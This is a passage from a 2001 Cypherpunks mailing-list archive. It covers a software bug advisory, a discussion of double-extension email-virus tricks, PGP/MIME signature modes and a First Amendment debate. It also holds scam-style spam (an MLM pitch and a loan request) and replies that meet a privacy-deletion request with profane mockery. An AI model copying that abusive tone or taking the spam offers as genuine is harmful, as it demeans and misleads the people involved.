>
>This bug is particularly dangerous if the form interface (which allows
>unknown users to run the program via a CGI script) has been installed.
>
>This bug was discovered by the program author, and there is no known
>exploit. However, users are advised to upgrade to one of the two safe
>versions immediately, especially if they have installed the form   
>interface. The URL is http://www.analog.cx/
>
>I apologise for the inconvenience.
>                                                        Stephen Turner
>
>--
>Stephen Turner               http://www.statslab.cam.ac.uk/~sret1/
>  Statistical Laboratory, Wilberforce Road, Cambridge, CB3 0WB, England
>  "Your account can only be used for a single internet session at any one
>   time and for no more than 24 hours in any one day." (NTL terms of use)



-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From roy at scytale.com  Tue Feb 13 13:57:53 2001
From: roy at scytale.com (Roy Silvernail)
Date: Tue, 13 Feb 2001 15:57:53 -0600
Subject: Here you have, ;o)
Message-ID: <000601c09608$0708dce0$1301a8c0@rms.acroloop.com>


>From: "Bill Stewart" <bill.stewart at pobox.com>
>> The trick with double extensions is that after
>> Explorer or Outlook hides the .VBS, the user sees the ".JPG"
>> and says "Oh, this is a picture, I'll click on it",
>> instead of "Hmmm, this is something I don't recognize,
>> better leave it alone."
>> Similar tricks are used for .doc.vbs, .xls.vbs, .txt.vbs, etc.
>
>Using Outlook Express 5 here, and nothing is hidden.  Both extensions
>(.jpg.vbs) are shown on this attachment.

Most likely, you have set your Explorer options to show file extensions (as
most any sane person would).  The install default is to hide them (along
with opening each folder in a new window and not showing the full path in
the title bar, all of which I find most annoying), which is why the average
sofa spud luser is apt to fall for these tricks.
--
Roy M. Silvernail
Proprietor, scytale.com
roy at scytale.com





From commerce at home.com  Tue Feb 13 13:02:57 2001
From: commerce at home.com (Me)
Date: Tue, 13 Feb 2001 16:02:57 -0500
Subject: Here you have, ;o)
References: <20010212213733.A89524@cypherpunks.ai><000c01c09559$9f9453e0$3c5efea9@vin><20010212213733.A89524@cypherpunks.ai> <3.0.5.32.20010213120005.00ab1e10@idiom.com>
Message-ID: <01b101c09600$62fa2160$0100a8c0@golem>


From: "Bill Stewart" <bill.stewart at pobox.com>
> The trick with double extensions is that after
> Explorer or Outlook hides the .VBS, the user sees the ".JPG"
> and says "Oh, this is a picture, I'll click on it",
> instead of "Hmmm, this is something I don't recognize,
> better leave it alone."
> Similar tricks are used for .doc.vbs, .xls.vbs, .txt.vbs, etc.

Using Outlook Express 5 here, and nothing is hidden.  Both extensions
(.jpg.vbs) are shown on this attachment.




From Ponnavolu at aol.com  Tue Feb 13 13:53:49 2001
From: Ponnavolu at aol.com (Ponnavolu at aol.com)
Date: Tue, 13 Feb 2001 16:53:49 EST
Subject: Please delete one of the references in your archive
Message-ID: <a3.11cc49e5.27bb06ed@aol.com>


Dear Sir/Madam,

I would greatly appreciate it if you delete a letter in your archive with my name on it.  I would greatly appreciate it if you can do this favor for me.  Thank you very much.

Kishore Ponnavolu




From k.brown at ccs.bbk.ac.uk  Tue Feb 13 09:06:06 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Tue, 13 Feb 2001 17:06:06 +0000
Subject: The meek will inherit what, exactly?
References: <F504A8CEE925D411AF4A00508B8BE90A91EBA1@exna07.securitydynamics.com>
Message-ID: <3A89697E.FB594E10@ccs.bbk.ac.uk>


Use the third Gospel, Luke.

Chapter 6 is relevant :-)

Ken

"Trei, Peter" wrote:
> 
> > ----------
> > From:         Ray Dillinger[SMTP:bear at sonic.net]
> >
> > >But let's not worry so much of differences in power, for the poor and
> > peace
> > >makers will inherit the world. -somewhere in the Bible-
> >
> > "Blessed are the meek, for they shall inherit the earth."
> >               -Matthew 5, verse 5.
>         [...]
> > I don't think prime real estate, exactly,  Perhaps a near-barren
> > rock with a poisonous radioactive atmosphere and a few surviving
> > species of insects and fungus. Perhaps less than that.
>         [...]
> >                               Bear
> >
> Y'know, it's dissapointing that Luis doesn't make use of the
> Internet, all of which is presumably sitting in front of him as
> he types, to get his citations right.
> 
> >From Matthew, KJV
> [3] Blessed are the poor in spirit: for theirs is the kingdom of
> heaven.
> [4] Blessed are they that mourn: for they shall be comforted.
> [5] Blessed are the meek: for they shall inherit the earth.
> [6] Blessed are they which do hunger and thirst after
> righteousness: for they shall be filled.
> [7] Blessed are the merciful: for they shall obtain mercy.
> [8] Blessed are the pure in heart: for they shall see God.
> [9] Blessed are the peacemakers: for they shall be called
> the children of God.
> [10] Blessed are they which are persecuted for
> righteousness' sake: for theirs is the kingdom of heaven.
> 
> (BTW: These are generally known as the Beatitudes)
> 
> Nothing about the just plain not-having-money poor getting
> anything special (at least here - there's plenty about the
> spiritual problems of the rich elsewhere in the New
> Testament).
> 
> I've got a button somewhere I picked up at an SF convention:
> 
> "The Meek shall inherit the Earth.
>  The rest of us will go to the stars!"
> 
> Peter Trei
> 
> >
> >




From ravage at EINSTEIN.ssz.com  Tue Feb 13 15:30:51 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 13 Feb 2001 17:30:51 -0600 (CST)
Subject: PGP/MIME implementors: text mode vs. binary mode? (fwd)
Message-ID: <Pine.LNX.3.96.1010213173043.356Q-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Tue, 13 Feb 2001 13:54:27 +0100
From: Thomas Roessler <roessler at does-not-exist.org>
Reply-To: ietf-openpgp at imc.org
To: mail-client-dev-list at lists.sourceforge.net, pgp-mime at lists.uchicago.edu,
    coderpunks at toad.com
Cc: ietf-openpgp at imc.org
Subject: PGP/MIME implementors: text mode vs. binary mode?

Please forward this message to any implementors of PGP/MIME you are
aware of.



To whom it may concern.

In the ietf-openpgp working group, we are about to finish a revised
version of RFC 2015.  While this looked like an easy task at first
sight, it is not, since OpenPGP breaks traditional pgp's text-mode
signatures.  This message is to solicit further input and comments
from other implementors of PGP/MIME.  (We thought we were done, but
then there were more arguments against the solution we believed to
have found...)

The current draft is draft-ietf-openpgp-mime-04.txt, and available
from: <http://www.ietf.org/internet-drafts/draft-ietf-openpgp-mime-04.txt>.

Please direct any answers to this message to the ietf-openpgp
mailing list.  In order to subscribe to that list, send a message to
<ietf-openpgp-request at imc.org> with the single word "subscribe" in
the subject.



The Problem.

To pgp 2 and 5, a text-mode signature meant that line endings were
transformed to a CR-LF sequence, and the result was then hashed.
However, with OpenPGP, preparing a text-mode signature has another
effect: Trailing blanks (and tabs?) are stripped - this is what used
to be done as a clear-sign signature with traditional PGP.  Of
course, this is a bug in the spec, but one which won't be easily
fixed now that all the implementations are out there.


Now, for PGP/MIME, this turns into a really ugly problem: RFC 2015
does not specify which kind of signature to use. However, it does
specify how the signed material should be canonicalized before
hashing.  This method of canonicalization exactly matched what was
done by traditional PGP versions for text mode signatures, which
means that the very same hash value could be used to verify either a
text-mode or a binary-mode signature.  That way, PGP/MIME according
to RFC 2015 and with traditional PGP had the desired one-pass
properties.

With OpenPGP, this construction breaks badly as soon as trailing
white space is involved.  Since it doesn't look right or elegant to
ask implementors of one-pass parsers (if they exist) to calculate
two hashes in parallel, some decision has to be made on the kind of
signature which should be mandated for the future.

I'm listing the choices and the pros and cons I'm seeing:

* text-mode signatures

  + easy to implement if you invoke a command-line tool to which you
    can leave the details of canonicalization.
  - Ian Bell of turnpike.com tells me that it's hard to persuade the
    PGP SDK to produce detached text-mode signatures.
  + the new-style text-mode signatures will nicely ignore any
    whitespace changes which are irrelevant to the message's content
    (When used the right way, MIME is invariant under modifications of
    trailing whitespace.)
  - there are incompatibilities between implementations which use
    text-mode AND leave trailing white space in messages.
  - thus, clients will need additional code in order to avoid
    trailing whitespace (e.g., apply quoted-printable).
  - this will make any clients non-compliant which are using binary
    mode today.

* binary-mode signatures

  + easy to implement if you use the PGP SDK (I'm told).
  + clients are interoperable regardless of the back-end version
    used and regardless of the treatment of trailing whitespace.
  - those people who rely on "pgp -t" will have to add some code to
    pass canonicalized data to the back-end.  In some cases, this
    may badly break things.
  - signatures will break upon changes to trailing white space which
    don't affect the message's content or MIME semantics
  - thus, clients may need additional code in order to avoid
    trailing whitespace (e.g., apply quoted-printable).
  - this will make any clients non-compliant which are using text
    mode today.

Bottom line: The decision what to mandate boils down to the question
what implementors prefer.  And, yes, both alternatives are bad
solutions.

Thus, if you are an implementor of PGP/MIME, please subscribe to the
ietf-openpgp mailing list, and let us know what should be done in
your opinion, and why.  Also, please tell us what mode you are using
nowadays, so we get a more precise impression of what software we
are going to break.


Thanks, and kind regards,
-- 
Thomas Roessler			    <roessler at does-not-exist.org>




From ravage at EINSTEIN.ssz.com  Tue Feb 13 15:36:36 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 13 Feb 2001 17:36:36 -0600 (CST)
Subject: Please delete one of the references in your archive
In-Reply-To: <a3.11cc49e5.27bb06ed@aol.com>
Message-ID: <Pine.LNX.3.96.1010213173547.356V-100000@einstein.ssz.com>



Hi Kishore,

On Tue, 13 Feb 2001 Ponnavolu at aol.com wrote:

> Dear Sir/Madam,
> 
> I would greatly appreciate it if you delete a letter in your archive with my name on it.  I would greatly appreciate it if you can do this favor for me.  Thank you very much.
> 
> Kishore Ponnavolu
> 

SSZ doesn't run any archives. There are several independent cypherpunk
archives. You need to talk to each of them indipendently.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From sales at sagarsteel.com  Tue Feb 13 04:18:51 2001
From: sales at sagarsteel.com (sales sagarsteel)
Date: Tue, 13 Feb 2001 17:48:51 +0530
Subject: STAINLESS STEEL ITEMS.
Message-ID: <000201c0965f$74bd5ac0$44e15ecb@manojs>

WE ARE AN INDIAN BASED COMPANY DEALING IN ALL FERROUS & NON-FERROUS MATERIALS.  WE ARE ALSO INTERESTED IN PROCURING DISPOSAL SURPLUS MATERIALS.

PLEASE LET US KNOW THE DETAILS OF THE MATERIALS TO BE AUCTIONED PER RETURN MAIL.

REGARDS,

HITESH SANGHI.
SAGAR STEEL CORPORATION,
INDIA.
PH : 0091 22 386 1500 / 387 7386.  FAX : 0091 22 385 7386.
  
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From commerce at home.com  Tue Feb 13 15:05:09 2001
From: commerce at home.com (Me)
Date: Tue, 13 Feb 2001 18:05:09 -0500
Subject: Please delete one of the references in your archive
References: <a3.11cc49e5.27bb06ed@aol.com>
Message-ID: <020401c09611$69e5eb60$0100a8c0@golem>


From: <Ponnavolu at aol.com>
> Dear Sir/Madam,
>
> I would greatly appreciate it if you delete a letter
> in your archive with my name on it.  I would greatly
> appreciate it if you can do this favor for me.
> Thank you very much.
>
> Kishore Ponnavolu

Well, now there are two letters with your name on it.  You are only making
things worse.

We will consider removing these messages if you will:

* Include us in a random draw for a gift certificate of $500
* Send us a copy of your Ph.D. thesis research in a summarized fashion

Thank you





From commerce at home.com  Tue Feb 13 15:14:30 2001
From: commerce at home.com (Me)
Date: Tue, 13 Feb 2001 18:14:30 -0500
Subject: Here you have, ;o)
References: <000601c09608$0708dce0$1301a8c0@rms.acroloop.com>
Message-ID: <021301c09612$c11991b0$0100a8c0@golem>


From: "Roy Silvernail" <roy at scytale.com>
> Most likely, you have set your Explorer options to show
> file extensions (as most any sane person would).

My standard Windows settings are to hide extensions for known file-types --
ignoring questions of sanity, it is prettier and I generally don't run any
program I am unfamiliar with regardless of file extension.

If there is a separate option for changing this behaviour only within Outlook
Express, I am not even aware it exists.

> The install default is to hide them (along
> with opening each folder in a new window and not showing the full path in
> the title bar, all of which I find most annoying), which is why the average
> sofa spud luser is apt to fall for these tricks.
> --
> Roy M. Silvernail
> Proprietor, scytale.com
> roy at scytale.com





From ravage at EINSTEIN.ssz.com  Tue Feb 13 16:19:50 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 13 Feb 2001 18:19:50 -0600 (CST)
Subject: freedomforum.org: Federal judge quashes subpoena for  Kansas bookstore's sales records
In-Reply-To: <5.0.2.1.0.20010213184008.02476160@mail.well.com>
Message-ID: <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com>



On Tue, 13 Feb 2001, Declan McCullagh wrote:

> In any case, I'm inclined to believe that the First Amendment should not 
> grant special rights to people who call themselves bookstores and 
> journalists. Rather, we should all enjoy those rights. Being an Official 
> Approved Government-Certified Journalist -- and I am one -- writing an 
> article should not mean I have special privileges that only I enjoy and 
> someone from an unapproved newspaper, or a cypherpunk subscriber writing 
> about the same topic, does not.

As usual you get it bass-ackwards...there must be a 'journalist' gene that
causes these sorts of cerebral mis-wires.

It isn't the store that's being protected. It's the purchaser of the
book, the reader to wit. To force a person to reveal their reading habits
violates the 1st because it infringes both speech and press. It's that
pesky '...no law..' clause that almost (whew!) everyone keeps wishing
wasn't there. Trying to voilate a persons civil liberties via a 3rd party
doesn't make it any less a violation and it doesn't redirect any
culpability to the initiating party simply because they are so removed.

There is no concomitent 'Congress shall make no law restricting the
manufacture, sale, possession, or use of hobby fish' so whichever law
officer it was that compared it to a fish store also failed to catch the
distinction.

Journalist are scum (like lawyers) they sell their integrity, they deserve
no protection and actually get none. If you look at the history and
beliefs of the founding fathers they did NOT equate freedom of 'press'
with 'newspaper' or 'reporter'. I've forwarded Jeffersons comment on the
distiction and value of 'press' versus 'newspaper' already, take Tim's
advise and do a little digging in the archives. The reality is the only
protection the reporter gets is as a recognized agent of the press owner
and the right of the people to know what is going on around them (that
thing about you have rights until they impact another).

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From declan at well.com  Tue Feb 13 15:43:36 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 18:43:36 -0500
Subject: freedomforum.org: Federal judge quashes subpoena for
  Kansas bookstore's sales records
In-Reply-To: <Pine.LNX.3.96.1010213172731.356O-100000@einstein.ssz.com>
References: <20010213095215.D4308@cluebot.com>
Message-ID: <5.0.2.1.0.20010213184008.02476160@mail.well.com>


Jim, please do not email me privately unless you want to say something to 
me privately. It appears as though you sent the below message to the list 
and then to me in a different message; there is no need for this, and it 
violates netiquette.

In any case, I'm inclined to believe that the First Amendment should not 
grant special rights to people who call themselves bookstores and 
journalists. Rather, we should all enjoy those rights. Being an Official 
Approved Government-Certified Journalist -- and I am one -- writing an 
article should not mean I have special privileges that only I enjoy and 
someone from an unapproved newspaper, or a cypherpunk subscriber writing 
about the same topic, does not.

-Declan


At 05:29 PM 2/13/01 -0600, Jim Choate wrote:

>On Tue, 13 Feb 2001, Declan McCullagh wrote:
>
> > I'd want to read the documents in this case. But quick thoughts: The
> > scope of civil discovery has broadened too much in the U.S.  That
> > said, I'm not sure why bookstores should be treated differently than
> > other businesses.
>
>Congress shall make no law respecting freedom of speech or press.
>
>I'll give you a mental problem to ponder, if you can infringe my speech or
>press by intimidating or denying access to others then there is no free
>speech or press and the right has been infringed.
>
>"He's guilty, he read "Hunt for Red October"!"
>
>It doesn't surprise me that most of the crypto-anarchist cranks (you
>people should really look up the definition of that word before you use
>it) on this list wouldn't get it.




From rsw at MIT.EDU  Tue Feb 13 16:25:47 2001
From: rsw at MIT.EDU (Riad S. Wahby)
Date: Tue, 13 Feb 2001 19:25:47 -0500
Subject: Here you have, ;o)
In-Reply-To: <01b101c09600$62fa2160$0100a8c0@golem>; from commerce@home.com on Tue, Feb 13, 2001 at 04:02:57PM -0500
References: <20010212213733.A89524@cypherpunks.ai><000c01c09559$9f9453e0$3c5efea9@vin><20010212213733.A89524@cypherpunks.ai> <3.0.5.32.20010213120005.00ab1e10@idiom.com> <01b101c09600$62fa2160$0100a8c0@golem>
Message-ID: <20010213192547.A7291@positron.mit.edu>


Me <commerce at home.com> wrote:
> Using Outlook Express 5 here, and nothing is hidden.  Both extensions
> (.jpg.vbs) are shown on this attachment.

You have set your "View" options to include "Show extensions for all
files."  This is not the default behavior of Windows since Windows95,
so most people don't have this option enabled.

--
Riad Wahby
rsw at mit.edu
MIT VI-2/A 2002

5105




From ravage at EINSTEIN.ssz.com  Tue Feb 13 17:58:10 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 13 Feb 2001 19:58:10 -0600 (CST)
Subject: New stuff with Envelope Mail (fwd)
Message-ID: <Pine.LNX.3.96.1010213195804.356h-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Fri, 9 Feb 2001 22:09:07 -0800 (PST)
From: Bram Cohen <bram at gawth.com>
To: envelopemail at egroups.com, cryptography at c2.net,
    People who supposedly write code <coderpunks at toad.com>
Subject: New stuff with Envelope Mail

I've done a bunch more work on Envelope Mail, as always, the latest info
is at -

http://gawth.com/bram/envelope_mail/

New is actual code, complete with test code. Plans are next to write a
patch for BoboMail implementing the dummy version of the crypto API.

I could use immediate help on the following things -

A logo - I'm incapable of graphic design

A non-dummy version of the crypto API - the dummy one makes it
excruciatingly clear how the real one should work and gives a strong
indication of how it might be implemented. I'd make the 'real' one myself,
but, you know, you're not supposed to do that, and I'm trying to play
nice, despite the crypto community being remarkably unhelpful in this
regard.

-Bram Cohen

"Markets can remain irrational longer than you can remain solvent"
                                        -- John Maynard Keynes





From jya at pipeline.com  Tue Feb 13 17:08:27 2001
From: jya at pipeline.com (John Young)
Date: Tue, 13 Feb 2001 20:08:27 -0500
Subject: freedomforum.org: Federal judge quashes subpoena
  for  Kansas bookstore's sales records
In-Reply-To: <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com>
References: <5.0.2.1.0.20010213184008.02476160@mail.well.com>
Message-ID: <200102140119.UAA18769@maynard.mail.mindspring.net>


The only people scuzzier than scum reporters, lawyers,
politicians, bureaucrats, cops, pederasts, communazis,
feminazis, other-color-skinneds, you know, the most
hated of your stupid clan, are those who hate them 
due to cross-wired brains, of which I am a proud holder
one of.

Why without those others to loath I'd have only myself
with this diamondback up my ass put there by momma,
a fun lover, to tell me from her other litters she didn't 
know whose was whose, and "didn't give a flying" she'd 
puke lolling a dry tit bit by those you'd never call
bro and sis and paw and our sacred kind.






From commerce at home.com  Tue Feb 13 17:49:22 2001
From: commerce at home.com (Me)
Date: Tue, 13 Feb 2001 20:49:22 -0500
Subject: Here you have, ;o)
References: <20010212213733.A89524@cypherpunks.ai><000c01c09559$9f9453e0$3c5efea9@vin><20010212213733.A89524@cypherpunks.ai> <3.0.5.32.20010213120005.00ab1e10@idiom.com> <01b101c09600$62fa2160$0100a8c0@golem> <20010213192547.A7291@positron.mit.edu>
Message-ID: <02d601c09628$5bec87a0$0100a8c0@golem>


From: "Riad S. Wahby" <rsw at mit.edu>
> You have set your "View" options to include "Show extensions for all
> files."  This is not the default behavior of Windows since Windows95,
> so most people don't have this option enabled.

View->[X] Hide file extensions for known file types

If there is another option that alters this, or overrides it in OE5, I do not
know of it and have not changed it from it's default.





From tcmay at got.net  Tue Feb 13 21:00:05 2001
From: tcmay at got.net (Tim May)
Date: Tue, 13 Feb 2001 21:00:05 -0800
Subject: Please delete one of the references in your archive
In-Reply-To: <a3.11cc49e5.27bb06ed@aol.com>
References: <a3.11cc49e5.27bb06ed@aol.com>
Message-ID: <a05010400b6afc1003db5@[207.111.241.145]>


At 4:53 PM -0500 2/13/01, Ponnavolu at aol.com wrote:
>Dear Sir/Madam,
>
>I would greatly appreciate it if you delete a letter in your archive 
>with my name on it.  I would greatly appreciate it if you can do 
>this favor for me.  Thank you very much.
>
>Kishore Ponnavolu


No, we won't do this.

Fuck off.

If you wrote it, and we have it, it's ours.

Get used to it.



--Tim May


-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From alphabeta121 at hotmail.com  Tue Feb 13 21:00:20 2001
From: alphabeta121 at hotmail.com (alphabeta121)
Date: Tue, 13 Feb 2001 21:00:20 -0800
Subject: The days of wire rats are upon us
Message-ID: <OE704ggMIZ0ER1XqrHz00005176@hotmail.com>

('wire rats' is a reference to rats w/ electrodes implanted in their brains that allow them to self-stimulate at any interval, ahahh, now women have the same ability)

Implant Achieves Female Orgasm 
Wired News Report 
12:25 p.m. Feb. 7, 2001 PST 


One woman undergoing treatment for back pain may have discovered a cure for the thousands of woman frustrated by the inability to achieve orgasm. 

While Dr. Stuart Meloy was putting an electrode into the woman's spine in an attempt to ease her chronic pain, he not only reduced her back pain, but gave her an unexpected -- but delightful -- side-effect. 

"She said, 'You're going to have to teach my husband how to do that'," Meloy, an anesthesiologist and pain specialist in Winston-Salem, North Carolina, said. The discovery is published in Wednesday's issue of New Scientist. 


     
     
     
See also: 
How "Doing It" Is Done
This College Course Is a Turn-On
Check yourself into Med-Tech
     
     
     


Unexpectedly, Meloy had stumbled onto a solution that could help thousands of women who can't achieve orgasm. Recognizing the opportunity, he patented this use of the device, and is trying to work with Medtronic, a Minneapolis company that makes the spinal cord stimulator, to market it as a remote-control orgasm machine. 

Meloy hopes human clinical trials will begin later this year. 

An Orgasmatron like in the movie Sleeper is probably not around the corner, however. Even for back pain, the device is used only after all other possibilities are exhausted. The procedure is about as invasive as a pacemaker, Meloy said. 

Still, Meloy hopes the effect is reproducible. He's witnessed induced orgasms twice so far, he said. 

To treat back pain the surgeon places an electrode in a precise spot in the patient's spine in order to find the specific nerves carrying his or her pain signals to the brain. 

Meloy said that to induce orgasm, the stimulating wires could connect to a signal generator smaller than a packet of cigarettes implanted under the skin of a patient's buttocks. 

"Then you'd have a hand-held remote control to trigger it," he said. 

Various issues can cause a woman to have difficulty achieving orgasm, said Jim Pfaus, who studies the neurobiology of sexual behavior at Concordia University in Montreal. 

"Some women confuse what's called sympathetic arousal (in orgasm) -- like increased heart rate, clammy hands, nerves and so on -- with fear," he said in a statement. "That makes them want to get out of the situation." 

The problem is often treated with psychotherapy or Valium, but the drug can also delay orgasm, Pfaus said. 

Meloy said he hopes the device will help couples overcome problems associated with orgasmic dysfunction. "If you've got a couple who've been together for a while and it's just not happening anymore, maybe they'll get through it a bit easier with this," he said. 

He added that the device could be programmed to limit its use. "But whether it's once a day, four times a week -- who am I to say?" 


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From financialfreedom4u at AGPN.hotmail.com  Tue Feb 13 19:26:41 2001
From: financialfreedom4u at AGPN.hotmail.com (JR)
Date: Tue, 13 Feb 2001 21:26:41 -0600
Subject: !!! GET IN AT THE TOP !!! -QLOU
Message-ID: <200102140326.VAA19353@einstein.ssz.com>



cypherpunks

YOUR CHANCE TO GET IN ON THE GROUND FLOOR !!!

This is a New MLM Opertinuty

SECURE YOUR POSSITION NOW !

Join Free !

Check it out at:

http://www.financialfreedomclub.com/cgi-bin/view.cgi/jr113/

Sincerely,

Jim





From baptista at vrx.net  Tue Feb 13 18:27:30 2001
From: baptista at vrx.net (Joe Baptista)
Date: Tue, 13 Feb 2001 21:27:30 -0500
Subject: Windows XP Can Secure Music
Message-ID: <5.0.2.1.0.20010213212729.00a03290@199.166.24.1>



Windows XP Can Secure Music (Technology 2:00 a.m. PST)

http://www.wired.com/news/technology/0,1282,41614,00.html?tw=wn20010213
Microsoft has built security into its operating system to prevent
music from being played on unknown hardware. Its plan to prevent piracy
could mean a scuffle with electronics makers. By Brad King.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

--
Joe Baptista
www.dot.god 




From soichi at unr.nevada.edu  Wed Feb 14 00:06:47 2001
From: soichi at unr.nevada.edu (Soichi Hayashi)
Date: Wed, 14 Feb 2001 00:06:47 -0800 (PST)
Subject: Question
Message-ID: <Pine.OSF.4.10.10102140005370.10709-100000@empire.scsr.nevada.edu>


Dear Sir,
I have been resarching Nevada brothel's business.
What do you estinmate is the total income for
brothel industry in Nevada?

Sincerely,
                                            REY






From shokooh at kimianet.com  Tue Feb 13 14:41:30 2001
From: shokooh at kimianet.com (sasan)
Date: Wed, 14 Feb 2001 02:11:30 +0330
Subject: new proposal
Message-ID: <00e701c0960f$fa09dc80$8a209bd5@hornblower>

Dear Sir/Madam
we need a loan and amount of that is 2000000 usd.
we dont know the terms and conditions.
We can GUARANTEE the money by the COLLATERAL.
could you please help us to the final step!! and not only we dont forget your kindness but also we compensate your goodness.
If it doesnt concern your company be so kind and pass our letter to the right place.
Best wishes .
Sasan Haghighi
shokooh at kimianet.com
 
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From news at mathtools.net  Wed Feb 14 02:21:56 2001
From: news at mathtools.net (Mathtools.net News)
Date: Wed, 14 Feb 2001 02:21:56
Subject: MathTools News Digest, February 2001
Message-ID: <200102140018.CAA27174@mailgw1.netvision.net.il>



Contents
========

* KFtools for MATLAB
* Statistical Pattern Recognition Toolbox 
* Signal Processing using C++ 
* sbParser - Symbolic C++ Parser
* Contribute your links 


KFtools for MATLAB
==================

This set of MATLAB tools consists of functions useful for basic image processing and blob analysis. Functions included cover topics like store boundary of binary object as a list of pixel corner coords, select largest binary object, watershed segmentation (flooding from selected sources), centroid of a binary object and more. 

 http://www.mathtools.net/MATLAB/Image_Processing
 http://www.dip.ee.uct.ac.za/~kforbes/KFtools/KFtools.html


Statistical Pattern Recognition Toolbox 
=======================================

The toolbox contains both well known pattern recognition methods and recently proposed methods. The toolbox focuses on linear discriminant function including its generalization to quadratic discriminant function by non-linear data mapping, unsupervised learning algorithms and minimax learning algorithms. The demonstrator environment is provided that allows the user to choose different algorithms, compare their behavior, provides tools to control the algorithm run interactively and creates synthetic input data or uses real ones. 

 http://www.mathtools.net/MATLAB/Statistics
 http://cmp.felk.cvut.cz/~xfrancv/stprtool/index.html


Signal Processing using C++ 
===========================

SPUC provides a large and comprehensive set of simple, efficient and reusable DSP building block objects written as C++ classes.

 http://www.mathtools.net/Applications/DSP/Libraries
 http://spuc.webjump.com/


sbParser - Symbolic C++ Parser
==============================

This SDK gives you an easy way to include parsing and calculator objects in your C++ programs.

 http://www.mathtools.net/C++/Symbolic
 http://home.t-online.de/home/Softbase/serv02_f.htm


Contribute your links
=====================

Mathtools.net was built using the contribution and effort of many people. Now you can make your favorite technical computing links appear in Mathtools.net. Doing so is simple: if you have in your bookmark a link worth adding, go to the Mathtools.net relevant section, choose 'Add Link', and enter your link information. 
If you wish to have your link included in this news digest, drop an email to feedback at mathtools.net.

 http://www.mathtools.net



  ---   ---   ---   ---   ---   ---   ---   ---   ---   ---   ---  ---
Sent to email: cypherpunks at toad.com . You are receiving this news digest because you have indicated a preference to receive news and updates. If you have any suggestions or requests regarding this news digest, let us know and include the sent-to email.




From George at Orwellian.Org  Wed Feb 14 02:01:28 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Wed, 14 Feb 2001 05:01:28 -0500 (EST)
Subject: Zimmerman and Hayden, sitting in a tree...
Message-ID: <200102141001.FAA04071@www1.aa.psiweb.com>


...between a rock and a hard place.

CBS this morning was repeating a segment apparently
from last night's Sixty Minutes show, on the NSA,
PGP and /bin/laden.

Nothing new.

http://cbsnews.com/now/story/0,1597,266857-412,00.shtml

Quick, what was Zimmerman's answer when asked what he
thought about the bad guys being able to use PGP?

There were misc links...

    The ACLU has an extensive site about
    Echelon. Click here for Echelonwatch. 
    http://www.aclu.org/echelonwatch/index.html

Another one to nsa.gov explaining their seal's
design. One of the Apostles contributed.

Like I said, nothing new. But "In the News".

    Linux advocates should announce Windows XP
    is the time to switch to Linux permanently.




From ravage at EINSTEIN.ssz.com  Wed Feb 14 05:29:26 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 07:29:26 -0600 (CST)
Subject: freedomforum.org: Federal judge quashes subpoena for  Kansas bookstore's sales records
In-Reply-To: <Pine.SOL.4.30.0102141349350.16206-100000@kruuna.Helsinki.FI>
Message-ID: <Pine.LNX.3.96.1010214072135.356p-100000@einstein.ssz.com>



On Wed, 14 Feb 2001, Sampo Syreeni wrote:

> But why should this be limited to the book stores? The same should go for
> laudries etc.

Where is:

Congress shall make no law respecting the laundering of a persons
personals.


Ain't there, you're blowing smoke.

> In this sense we *are* talking about privileges to those
> dealing with 1st Amendment protected material, like the press and book
> stores.

No, in no sense are we talking about the store other than as a mechanism
for the execution by the book buyer (ain't that part of 'press'?) of
their protected activities. By infringing the store you infringe the
protected activities. Hence they wouldn't be protected, therefore the
initial action against the store can't be allowed.

Putting a 'tax' on owning a press would be identical. Are you saying that
taxing the simple ownership of a press should be allowed? That it would
not infringe the 1st?

> Declan's problem obviously is that while free speech has constitutional 
> protection in itself, here *privacy* is protected only via
> extension of the 1st Amendment protection. This isn't enough.

There is NO issue of 'privacy' per se in this. The issue is that speech
and press (which includes reading same) are protected activities under the
1st. Publishing a book is not a 'private' activity (at least not in the
sense you use the word - remember 'private' has TWO (2) definitions, just 
